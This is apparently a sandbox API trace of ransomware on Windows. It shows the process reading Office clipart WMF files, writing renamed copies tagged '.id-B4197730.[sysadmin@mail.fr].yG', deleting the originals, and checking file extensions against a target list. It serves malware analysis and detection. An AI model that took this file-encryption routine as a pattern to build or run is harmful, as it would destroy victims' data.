	[0173.402] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.403] GetLastError () returned 0x0
	[0173.403] ReadFile (in: hFile=0x484, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x1068, lpOverlapped=0x0) returned 1
	[0173.422] WriteFile (in: hFile=0x554, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1070, lpOverlapped=0x0) returned 1
	[0173.423] ReadFile (in: hFile=0x484, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.423] WriteFile (in: hFile=0x554, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.423] SetEndOfFile (hFile=0x554) returned 1
	[0173.424] CloseHandle (hObject=0x554) returned 1
	[0173.424] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.424] SetEndOfFile (hFile=0x484) returned 1
	[0173.431] CloseHandle (hObject=0x484) returned 1
	[0173.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 1
	[0173.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0173.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0173.443] lstrlenW (lpString=".doc") returned 4
	[0173.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.443] lstrlenW (lpString=".docx") returned 5
	[0173.443] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0173.443] lstrlenW (lpString=".pdf") returned 4
	[0173.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.443] lstrlenW (lpString=".xls") returned 4
	[0173.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.443] lstrlenW (lpString=".xlsx") returned 5
	[0173.443] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0173.443] lstrlenW (lpString=".ppt") returned 4
	[0173.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0173.443] lstrlenW (lpString=".zip") returned 4
	[0173.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.443] lstrlenW (lpString=".rar") returned 4
	[0173.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.443] lstrlenW (lpString=".bz2") returned 4
	[0173.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.443] lstrlenW (lpString=".7z") returned 3
	[0173.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0173.443] lstrlenW (lpString=".dbf") returned 4
	[0173.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0173.444] lstrlenW (lpString=".1cd") returned 4
	[0173.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0173.444] lstrlenW (lpString=".jpg") returned 4
	[0173.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.992] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=11404) returned 1
	[0173.992] CloseHandle (hObject=0x47c) returned 1
	[0173.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 0x220
	[0173.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0173.993] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.993] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0173.994] GetLastError () returned 0x0
	[0173.994] ReadFile (in: hFile=0x47c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x2c8c, lpOverlapped=0x0) returned 1
	[0174.006] WriteFile (in: hFile=0x388, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x2c90, lpOverlapped=0x0) returned 1
	[0174.007] ReadFile (in: hFile=0x47c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.007] WriteFile (in: hFile=0x388, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.007] SetEndOfFile (hFile=0x388) returned 1
	[0174.008] CloseHandle (hObject=0x388) returned 1
	[0174.008] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.008] SetEndOfFile (hFile=0x47c) returned 1
	[0174.011] CloseHandle (hObject=0x47c) returned 1
	[0174.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 1
	[0174.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0174.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0174.013] lstrlenW (lpString=".doc") returned 4
	[0174.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.013] lstrlenW (lpString=".docx") returned 5
	[0174.013] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0174.013] lstrlenW (lpString=".pdf") returned 4
	[0174.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.013] lstrlenW (lpString=".xls") returned 4
	[0174.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.013] lstrlenW (lpString=".xlsx") returned 5
	[0174.013] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0174.013] lstrlenW (lpString=".ppt") returned 4
	[0174.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0174.013] lstrlenW (lpString=".zip") returned 4
	[0174.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.013] lstrlenW (lpString=".rar") returned 4
	[0174.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.013] lstrlenW (lpString=".bz2") returned 4
	[0174.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.013] lstrlenW (lpString=".7z") returned 3
	[0174.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0174.013] lstrlenW (lpString=".dbf") returned 4
	[0174.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0174.013] lstrlenW (lpString=".1cd") returned 4
	[0174.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF") returned 68
	[0174.014] lstrlenW (lpString=".jpg") returned 4
	[0174.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.027] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=7016) returned 1
	[0174.027] CloseHandle (hObject=0x47c) returned 1
	[0174.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 0x220
	[0174.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0174.028] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.028] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0174.029] GetLastError () returned 0x0
	[0174.029] ReadFile (in: hFile=0x47c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x1b68, lpOverlapped=0x0) returned 1
	[0174.048] WriteFile (in: hFile=0x388, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1b70, lpOverlapped=0x0) returned 1
	[0174.049] ReadFile (in: hFile=0x47c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.049] WriteFile (in: hFile=0x388, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.049] SetEndOfFile (hFile=0x388) returned 1
	[0174.049] CloseHandle (hObject=0x388) returned 1
	[0174.049] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.049] SetEndOfFile (hFile=0x47c) returned 1
	[0174.052] CloseHandle (hObject=0x47c) returned 1
	[0174.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 1
	[0174.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0174.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0174.053] lstrlenW (lpString=".doc") returned 4
	[0174.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.053] lstrlenW (lpString=".docx") returned 5
	[0174.053] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0174.053] lstrlenW (lpString=".pdf") returned 4
	[0174.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.054] lstrlenW (lpString=".xls") returned 4
	[0174.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.054] lstrlenW (lpString=".xlsx") returned 5
	[0174.054] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0174.054] lstrlenW (lpString=".ppt") returned 4
	[0174.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0174.054] lstrlenW (lpString=".zip") returned 4
	[0174.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.054] lstrlenW (lpString=".rar") returned 4
	[0174.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.054] lstrlenW (lpString=".bz2") returned 4
	[0174.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.054] lstrlenW (lpString=".7z") returned 3
	[0174.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0174.054] lstrlenW (lpString=".dbf") returned 4
	[0174.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0174.054] lstrlenW (lpString=".1cd") returned 4
	[0174.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0174.054] lstrlenW (lpString=".jpg") returned 4
	[0174.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.255] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=3644) returned 1
	[0174.255] CloseHandle (hObject=0x554) returned 1
	[0174.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 0x220
	[0174.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0174.257] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.257] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0174.258] GetLastError () returned 0x0
	[0174.258] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xe3c, lpOverlapped=0x0) returned 1
	[0174.279] WriteFile (in: hFile=0x484, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xe40, lpOverlapped=0x0) returned 1
	[0174.280] ReadFile (in: hFile=0x554, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.280] WriteFile (in: hFile=0x484, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.280] SetEndOfFile (hFile=0x484) returned 1
	[0174.280] CloseHandle (hObject=0x484) returned 1
	[0174.280] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.280] SetEndOfFile (hFile=0x554) returned 1
	[0174.283] CloseHandle (hObject=0x554) returned 1
	[0174.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 1
	[0174.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0174.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0174.285] lstrlenW (lpString=".doc") returned 4
	[0174.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.285] lstrlenW (lpString=".docx") returned 5
	[0174.285] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0174.285] lstrlenW (lpString=".pdf") returned 4
	[0174.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.285] lstrlenW (lpString=".xls") returned 4
	[0174.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.285] lstrlenW (lpString=".xlsx") returned 5
	[0174.285] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0174.285] lstrlenW (lpString=".ppt") returned 4
	[0174.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0174.286] lstrlenW (lpString=".zip") returned 4
	[0174.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.286] lstrlenW (lpString=".rar") returned 4
	[0174.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.286] lstrlenW (lpString=".bz2") returned 4
	[0174.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.286] lstrlenW (lpString=".7z") returned 3
	[0174.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0174.286] lstrlenW (lpString=".dbf") returned 4
	[0174.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0174.286] lstrlenW (lpString=".1cd") returned 4
	[0174.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0174.286] lstrlenW (lpString=".jpg") returned 4
	[0174.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.733] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=16710) returned 1
	[0174.734] CloseHandle (hObject=0x568) returned 1
	[0174.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 0x220
	[0174.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0174.735] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.735] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0174.736] GetLastError () returned 0x0
	[0174.736] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x4146, lpOverlapped=0x0) returned 1
	[0175.240] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x4150, lpOverlapped=0x0) returned 1
	[0175.241] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.241] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.241] SetEndOfFile (hFile=0x360) returned 1
	[0175.241] CloseHandle (hObject=0x360) returned 1
	[0175.242] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.242] SetEndOfFile (hFile=0x568) returned 1
	[0175.245] CloseHandle (hObject=0x568) returned 1
	[0175.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 1
